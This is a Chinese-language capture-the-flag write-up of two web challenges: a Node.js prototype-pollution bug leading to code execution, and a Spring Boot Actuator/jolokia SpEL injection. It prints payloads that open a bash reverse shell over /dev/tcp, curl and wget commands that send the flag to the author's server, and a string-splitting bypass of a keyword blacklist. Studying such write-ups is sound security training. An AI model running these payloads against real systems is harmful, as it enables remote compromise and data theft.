hgame2020week4_wp
2020-02-18 22:33:16

hgame_official_wp

感谢各位出题人的耐心解答!

web

sekiro

题目提供了源码,结构是这样的

看起来应该是要读取flag中的内容
先看web\routes\index.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
const clone = (a) => {
return merge({}, a);
}

浅析JavaScript原型链污染攻击 可以得知源码中的merge和clone会触发原型链污染

1
2
3
4
5
6
7
8
9
10
11
12
13
14
router.post('/action', function (req, res) {
if (!req.session.sekiro) {
res.end("Session required.")
}
if (!req.session.sekiro.alive) {
res.end("You dead.")
}
var body = JSON.parse(JSON.stringify(req.body));
var copybody = clone(body)
if (copybody.solution) {
req.session.sekiro = Game.dealWithAttacks(req.session.sekiro, copybody.solution)
}
res.end("提交成功")
})

发现此处调用了clone函数,在solution存在的情况下会调用Game.dealWithAttacks(),再在\web\utils查看具体内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
this.dealWithAttacks = function (sekiro, solution) {
if (sekiro.attackInfo.solution !== solution) {
sekiro.health -= sekiro.attackInfo.attack
if (sekiro.attackInfo.additionalEffect) {
var fn = Function("sekiro", sekiro.attackInfo.additionalEffect + "\nreturn sekiro")
sekiro = fn(sekiro)
}
}
sekiro.posture = (sekiro.posture <= 500) ? sekiro.posture : 500
sekiro.health = (sekiro.health > 0) ? sekiro.health : 0
if (sekiro.posture == 500 || sekiro.health == 0) {
sekiro.alive = false
}
return sekiro
}

发现

1
2
var fn = Function("sekiro", sekiro.attackInfo.additionalEffect + "\nreturn sekiro")
sekiro = fn(sekiro)

可以通过改变sekiro.attackInfo.additionalEffect的值,在调用fn时实现远程命令执行
可以发现条件是 sekiro.attackInfo.solution !== solution
而在attack中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
this.attacks = [
{
"method": "连续砍击",
"attack": 1000,
"additionalEffect": "sekiro.posture+=100",
"solution": "连续格挡"
},
{
"method": "普通攻击",
"attack": 500,
"additionalEffect": "sekiro.posture+=50",
"solution": "格挡"
},
{
"method": "下段攻击",
"attack": 1000,
"solution": "跳跃踩头"
},
{
"method": "突刺攻击",
"attack": 1000,
"solution": "识破"
},
{
"method": "巴之雷",
"attack": 1000,
"solution": "雷反"
},
]

通过原型链污染的条件,我们要在攻击没有additionalEffect属性时发送我们的payload
说实话不知道为啥老是接收不到数据…

1
{"solution":0,"__proto__":{"additionalEffect": "return e => { for (var a in {}){delete Object.prototype[a];} return global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/_ip/_port 0>&1\"')}\n"}}

1
2
{"solution":0,"__proto__":{"additionalEffect":" return e => { for (var a in {}){delete Object.prototype[a];}global.process.mainModule.constructor._load('child_process').exec('wget _ip/_port?$(cat /flag|base64)'.function(){})"
}}

这俩我都失败了,但是出题人试了第二个说是可以拿到flag的?感觉是我操作问题…
后来利用curl来执行命令终于成功了一次…
payload成功变成了这样

1
2
3
4
5
6
{
"solution":"0",
"__proto__":{
"additionalEffect":"global.process.mainModule.constructor._load('child_process').execSync('curl http://_ip:_apache_port/?flag=`cat ../../../flag|base64`')"
}
}

先访问/info /attack界面,确定攻击满足条件后,再post /action,发送payload,最后从apache日志里找access记录
但是这个对我来说也是看运气,试了N遍就成功了一次…后面再尝试的时候又收不到了…

赛后

web

ezJava

出题人一开始给了俩网址提示
Code-Breaking Puzzles — javacon WriteUp
jolokia
再结合下题目

打开是一个登录表单

先猜一下username=admin,password=admin,正好是正确的
Spring Boot Actuator 使用
Attack Spring Boot Actuator via jolokia Part 1
根据上面这两篇文章以及提示,我们访问
http://ezspel.hgame.wz22.cc/actuator/env
正好看见application.yml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
{
"name": "applicationConfig: [classpath:/application.yml]",
"properties": {
"server.port": {
"value": 9997,
"origin": "class path resource [application.yml]:2:9"
},
"spring.application.name": {
"value": "ezSpel",
"origin": "class path resource [application.yml]:6:7"
},
"management.endpoint.shutdown.enabled": {
"value": false,
"origin": "class path resource [application.yml]:10:16"
},
"management.endpoint.jolokia.config.debug": {
"value": true,
"origin": "class path resource [application.yml]:13:16"
},
"management.endpoints.web.exposure.include": {
"value": "info,jolokia,env",
"origin": "class path resource [application.yml]:17:18"
},
"keywords.blacklist[0]": {
"value": "java.+lang",
"origin": "class path resource [application.yml]:21:7"
},
"keywords.blacklist[1]": {
"value": "Runtime",
"origin": "class path resource [application.yml]:22:7"
},
"keywords.blacklist[2]": {
"value": "exec.*\\(",
"origin": "class path resource [application.yml]:23:7"
},
"keywords.blacklist[3]": {
"value": "getClass",
"origin": "class path resource [application.yml]:24:7"
},
"keywords.blacklist[4]": {
"value": "forName",
"origin": "class path resource [application.yml]:25:7"
},
"user.username": {
"value": "admin",
"origin": "class path resource [application.yml]:28:13"
},
"user.password": {
"value": "******",
"origin": "class path resource [application.yml]:29:13"
},
"user.encParam1": {
"value": "hgamehgamehgame{",
"origin": "class path resource [application.yml]:30:14"
},
"user.encParam2": {
"value": "spppelandjookiaa",
"origin": "class path resource [application.yml]:31:14"
}
}
},
{
"name": "class path resource [application.yml]:class path resource [application.yml]",
"properties": {
"ezSpel": {
"value": ""
},
"include": {
"value": "info,jolokia,env"
},
"-": {
"value": "forName"
},
"password": {
"value": "******"
},
"web": {
"value": ""
},
"username": {
"value": "admin"
},
"blacklist": {
"value": ""
},
"endpoint": {
"value": ""
},
"endpoints": {
"value": ""
},
"encParam2": {
"value": "spppelandjookiaa"
},
"encParam1": {
"value": "hgamehgamehgame{"
},
"application": {
"value": ""
},
"keywords": {
"value": ""
},
"management": {
"value": ""
},
"enabled": {
"value": "false"
},
"port": {
"value": "9997"
},
"spring": {
"value": ""
},
"debug": {
"value": "true"
},
"shutdown": {
"value": ""
},
"server": {
"value": ""
},
"jolokia": {
"value": ""
},
"exposure": {
"value": ""
},
"config": {
"value": ""
},
"user": {
"value": ""
},
"name": {
"value": ""
}
}
}

由此我们可以知道blacklist和加密解密中的2个参数
再访问
http://ezspel.hgame.wz22.cc/actuator/jolokia/list


根据出题人提供的两份资料,我们需要构造payload来执行命令读取flag,而加密与解密针对的是rememberMe,所以我们需要在其中替换rememberMe的值
先放出payload

1
2
3
4
5
6
{
"type":"EXEC",
"mbean":"com.jqy.ezspel:Name=EncryptService",
"operation":"encrypt",
"arguments":["hgamehgamehgame{","spppelandjookiaa","#{T(ClassLoader).getSystemClassLoader().loadClass(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"ex\"+\"ec\",T(String[])).invoke(T(ClassLoader).getSystemClassLoader().loadClass(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"getRu\"+\"ntime\").invoke(T(ClassLoader).getSystemClassLoader().loadClass(\"java.l\"+\"ang.Ru\"+\"ntime\")),new String[]{\"/bin/bash\",\"-c\",\"curl http://_yourVPS:_apachePort/?flag=`cat flag`|base64\"})}"]
}

现在解释下第三个args
因为黑名单的限制,我们选择字符串拼接的方式绕过黑名单的检测,这里的黑名单比出题人提供的资料里增加了forName和getClass,这俩的作用是加载类,这里我们用ClassLoader代替,于是就有ClassLoader.getSystemClassLoader().loadClass(),为了转换为SpEL的形式,我们需要#{T(ClassLoader).getSystemClassLoader().loadClass()}

(照搬出题人原话)
关于invoke:
在Java中,方法可以当做Method类的一个对象来看待。
a.print(b)==print.invoke(a,b)
print是个变量,定义为Method print=A.class.getMethod(“print);
就是获取类A里面的这个print方法

flag在根目录下所以直接cat flag,base64编码是因为某些特殊字符可能无法显示
先进行加密,因为之后网站会对rememberMe的值进行自动解密,将以上payload以JSON形式post至http://ezspel.hgame.wz22.cc/actuator/jolokia
此时vps是没有接收到数据的,因为现在只是对数据进行了一个加密处理,然后我们看一下response

value所指的就是加密后的数据,我们把它放进cookie中的rememberMe中,然后直接GET访问http://ezspel.hgame.wz22.cc/
就好,在我们的服务器上查看apache日志就可以看见base64编码后的flag

Prev
2020-02-18 22:33:16
Next